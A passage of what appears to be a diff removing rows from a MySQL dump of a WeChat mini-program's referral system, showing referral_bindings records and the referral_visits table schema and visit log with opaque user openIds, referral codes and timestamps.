'2026-02-23 06:07:16', '2026-02-23 06:07:30', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1771836534927572353_7nbp3h', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'SOUL2XYSRI', 'cancelled', '2026-03-04 05:49:06', '2026-04-03 05:49:06', NULL, NULL, NULL, '2026-02-23 08:48:55', '2026-03-05 04:22:40', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772182869268359610_s2guiw', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'SOULDKWGSE', 'cancelled', '2026-02-27 09:02:50', '2026-03-29 09:02:50', NULL, NULL, NULL, '2026-02-27 09:01:09', '2026-02-27 22:58:47', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772453727309082940_1res0e', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'SOUL2XYSRI', 'active', '2026-03-02 12:15:28', '2026-04-01 12:15:28', NULL, NULL, NULL, '2026-03-02 12:15:27', '2026-03-02 12:15:28', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772499154960066731_78l9xl', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'SOUL2XYSRI', 'active', '2026-03-03 00:52:45', '2026-04-02 00:52:45', NULL, NULL, NULL, '2026-03-03 00:52:35', '2026-03-03 00:52:45', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772703285369087055_yih4tq', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'SOUL6EGC-G', 'active', '2026-03-05 10:00:54', '2026-04-04 10:00:54', NULL, NULL, NULL, '2026-03-05 09:34:45', '2026-03-05 10:00:54', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772704818632796306_x0jxvs', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'SOUL6EGC-G', 'active', '2026-03-05 10:01:53', '2026-04-04 10:01:53', NULL, NULL, NULL, '2026-03-05 10:00:19', '2026-03-05 10:01:53', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772788331755486170_486uig', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVH5MPuucs9h6ksFeTAaJc', 'SOUL2XYSRI', 'active', '2026-03-06 09:12:12', '2026-04-05 09:12:12', NULL, NULL, NULL, '2026-03-06 09:12:12', '2026-03-06 09:12:12', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772845816591131638_pkhf41', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cRhoPR9kuKcIcp3sOcJHqI', 'SOUL2XYSRI', 'active', '2026-03-07 01:10:25', '2026-04-06 01:10:25', NULL, NULL, NULL, '2026-03-07 01:10:17', '2026-03-07 01:10:25', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1772846697998099640_w0ymay', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5SaKompq-PXgVrmfeZ_b68c', 'SOUL2XYSRI', 'active', '2026-03-07 01:24:58', '2026-04-06 01:24:58', NULL, NULL, NULL, '2026-03-07 01:24:58', '2026-03-07 01:24:58', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773010431791366447_nnbp3h', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eVttIThJZivHtAredPgYDk', 'SOUL2XYSRI', 'cancelled', '2026-03-08 22:53:52', '2026-04-07 22:53:52', NULL, NULL, NULL, '2026-03-08 22:53:52', '2026-03-10 13:44:28', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773121074810367896_ku8zm0', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'SOUL2XYSRI', 'active', '2026-03-10 05:37:55', '2026-04-09 05:37:55', NULL, NULL, NULL, '2026-03-10 05:37:55', '2026-03-10 05:37:55', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773126139777030762_1l8way', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'SOUL6EGC-G', 'active', '2026-03-10 11:14:27', '2026-04-09 11:14:27', NULL, NULL, NULL, '2026-03-10 07:02:20', '2026-03-10 11:14:27', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773130594973770972_kl8iwa', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5bWCYxnHOCGzPDaVHl9X0XA', 'SOUL6EGC-G', 'active', '2026-03-10 08:16:35', '2026-04-09 08:16:35', NULL, NULL, NULL, '2026-03-10 08:16:35', '2026-03-10 08:16:35', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773150268313601111_uk8m0o', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5eVttIThJZivHtAredPgYDk', 'SOUL6EGC-G', 'active', '2026-03-10 13:44:28', '2026-04-09 13:44:28', NULL, NULL, NULL, '2026-03-10 13:44:28', '2026-03-10 13:44:28', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773181078668382922_2s6kyc', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5XrcqqKJYHWJncGX2l7Qj7c', 'SOUL2XYSRI', 'active', '2026-03-10 22:19:32', '2026-04-09 22:19:32', NULL, NULL, NULL, '2026-03-10 22:17:59', '2026-03-10 22:19:32', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773182680830023999_71fdrf', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'SOUL2XYSRI', 'active', '2026-03-10 22:44:45', '2026-04-09 22:44:45', NULL, NULL, NULL, '2026-03-10 22:44:41', '2026-03-10 22:44:45', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773183011554964037_3t8mzd', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5dY46gEJEaP_a45t6QrbAGk', 'SOUL2XYSRI', 'active', '2026-03-10 22:50:12', '2026-04-09 22:50:12', NULL, NULL, NULL, '2026-03-10 22:50:12', '2026-03-10 22:50:12', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_1773196492064101998_xxlzo1', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'SOULDKWGSE', 'active', '2026-03-11 02:34:52', '2026-04-10 02:34:52', NULL, NULL, NULL, '2026-03-11 02:34:52', '2026-03-11 02:34:52', NULL, NULL, NULL); -INSERT INTO `referral_bindings` VALUES ('bind_mkywuxmdkwyv52', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'SOUL6EGC-G', 'converted', '2026-01-29 11:44:57', '2026-02-28 11:44:58', '2026-01-29 12:23:51', 0.90, NULL, '2026-01-29 11:44:57', '2026-01-29 12:23:51', NULL, 0, 0.00); -INSERT INTO `referral_bindings` VALUES ('bind_ml1mi6m09yt5mo', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', 'SOUL2XYSRI', 'active', '2026-01-31 09:18:25', '2026-03-02 09:18:25', NULL, 0.00, NULL, '2026-01-31 09:18:25', '2026-01-31 09:18:25', NULL, 0, 0.00); -INSERT INTO `referral_bindings` VALUES ('bind_ml8r2jhqnopvt9', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'SOUL2XYSRI', 'converted', '2026-02-05 09:00:36', '2026-03-07 09:00:37', '2026-02-05 09:06:23', 0.90, 'MP20260205090617850214', '2026-02-05 09:00:36', '2026-02-05 09:06:23', NULL, 0, 0.00); - --- ---------------------------- --- Table structure for referral_visits --- ---------------------------- -DROP TABLE IF EXISTS `referral_visits`; -CREATE TABLE `referral_visits` ( - `id` int(11) NOT NULL AUTO_INCREMENT, - `referrer_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '推广者ID', - `visitor_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '访客ID(可能为空)', - `visitor_openid` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '访客openId', - `source` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'miniprogram' COMMENT '来源:miniprogram/web/share', - `page` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '落地页路径', - `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_referrer_id`(`referrer_id`) USING BTREE, - INDEX `idx_visitor_id`(`visitor_id`) USING BTREE, - INDEX `idx_created_at`(`created_at`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 683 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of referral_visits --- ---------------------------- -INSERT INTO `referral_visits` VALUES (1, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', '', '2026-01-29 11:24:17'); -INSERT INTO `referral_visits` VALUES (2, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', '', '2026-01-29 11:24:17'); -INSERT INTO `referral_visits` VALUES (3, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-01-29 11:24:17'); -INSERT INTO `referral_visits` VALUES (4, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'user_1768835439474', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 11:25:19'); -INSERT INTO `referral_visits` VALUES (5, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'user_1768835439474', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 11:25:19'); -INSERT INTO `referral_visits` VALUES (6, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'user_1768835439474', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 11:25:19'); -INSERT INTO `referral_visits` VALUES (7, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', NULL, 'miniprogram', NULL, '2026-01-29 11:44:57'); -INSERT INTO `referral_visits` VALUES (8, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 18:03:45'); -INSERT INTO `referral_visits` VALUES (9, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', '', '2026-01-29 18:03:45'); -INSERT INTO `referral_visits` VALUES (10, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 18:03:45'); -INSERT INTO `referral_visits` VALUES (11, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 18:03:52'); -INSERT INTO `referral_visits` VALUES (12, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-29 18:04:00'); -INSERT INTO `referral_visits` VALUES (13, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', NULL, 'miniprogram', NULL, '2026-01-31 09:18:25'); -INSERT INTO `referral_visits` VALUES (14, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', NULL, 'miniprogram', NULL, '2026-01-31 09:18:25'); -INSERT INTO `referral_visits` VALUES (15, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5euxUBHS7fOOXMjUWijBN9g', NULL, 'miniprogram', NULL, '2026-01-31 09:18:25'); -INSERT INTO `referral_visits` VALUES (16, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:46'); -INSERT INTO `referral_visits` VALUES (17, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:46'); -INSERT INTO `referral_visits` VALUES (18, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:50'); -INSERT INTO `referral_visits` VALUES (19, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:50'); -INSERT INTO `referral_visits` VALUES (20, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:06:59'); -INSERT INTO `referral_visits` VALUES (21, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:03'); -INSERT INTO `referral_visits` VALUES (22, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:03'); -INSERT INTO `referral_visits` VALUES (23, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/chapters/chapters', '2026-01-31 11:07:16'); -INSERT INTO `referral_visits` VALUES (24, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:16'); -INSERT INTO `referral_visits` VALUES (25, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/chapters/chapters', '2026-01-31 11:07:29'); -INSERT INTO `referral_visits` VALUES (26, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:07:29'); -INSERT INTO `referral_visits` VALUES (27, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:27:27'); -INSERT INTO `referral_visits` VALUES (28, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-01-31 11:27:27'); -INSERT INTO `referral_visits` VALUES (29, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 15:52:38'); -INSERT INTO `referral_visits` VALUES (30, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 15:52:38'); -INSERT INTO `referral_visits` VALUES (31, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 15:52:39'); -INSERT INTO `referral_visits` VALUES (32, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:27'); -INSERT INTO `referral_visits` VALUES (33, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:31'); -INSERT INTO `referral_visits` VALUES (34, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:33'); -INSERT INTO `referral_visits` VALUES (35, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:33'); -INSERT INTO `referral_visits` VALUES (36, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:33'); -INSERT INTO `referral_visits` VALUES (37, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:43'); -INSERT INTO `referral_visits` VALUES (38, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:51'); -INSERT INTO `referral_visits` VALUES (39, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-04 16:02:52'); -INSERT INTO `referral_visits` VALUES (40, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-04 16:02:52'); -INSERT INTO `referral_visits` VALUES (41, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', NULL, 'miniprogram', NULL, '2026-02-05 09:00:36'); -INSERT INTO `referral_visits` VALUES (42, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', NULL, 'miniprogram', NULL, '2026-02-05 09:00:36'); -INSERT INTO `referral_visits` VALUES (43, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (44, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (45, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (46, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (47, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (48, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (49, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (50, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (51, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (52, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (53, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:13:05'); -INSERT INTO `referral_visits` VALUES (54, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:13:05'); -INSERT INTO `referral_visits` VALUES (55, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (56, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (57, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (58, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (59, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (60, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (61, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'user_1768863132784', NULL, 'miniprogram', '', '2026-02-05 17:25:41'); -INSERT INTO `referral_visits` VALUES (62, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'user_1768863132784', NULL, 'miniprogram', '', '2026-02-05 17:25:41'); -INSERT INTO `referral_visits` VALUES (63, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'user_1768863132784', NULL, 'miniprogram', 'pages/read/read', '2026-02-05 17:25:41'); -INSERT INTO `referral_visits` VALUES (64, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:13:49'); -INSERT INTO `referral_visits` VALUES (65, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:13:50'); -INSERT INTO `referral_visits` VALUES (66, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/index/index', '2026-02-11 09:13:50'); -INSERT INTO `referral_visits` VALUES (67, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:14:12'); -INSERT INTO `referral_visits` VALUES (68, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:14:12'); -INSERT INTO `referral_visits` VALUES (69, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/index/index', '2026-02-11 09:14:12'); -INSERT INTO `referral_visits` VALUES (70, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:08:50'); -INSERT INTO `referral_visits` VALUES (71, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:08:50'); -INSERT INTO `referral_visits` VALUES (72, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:09:47'); -INSERT INTO `referral_visits` VALUES (73, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:09:47'); -INSERT INTO `referral_visits` VALUES (74, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:08'); -INSERT INTO `referral_visits` VALUES (75, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:08'); -INSERT INTO `referral_visits` VALUES (76, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 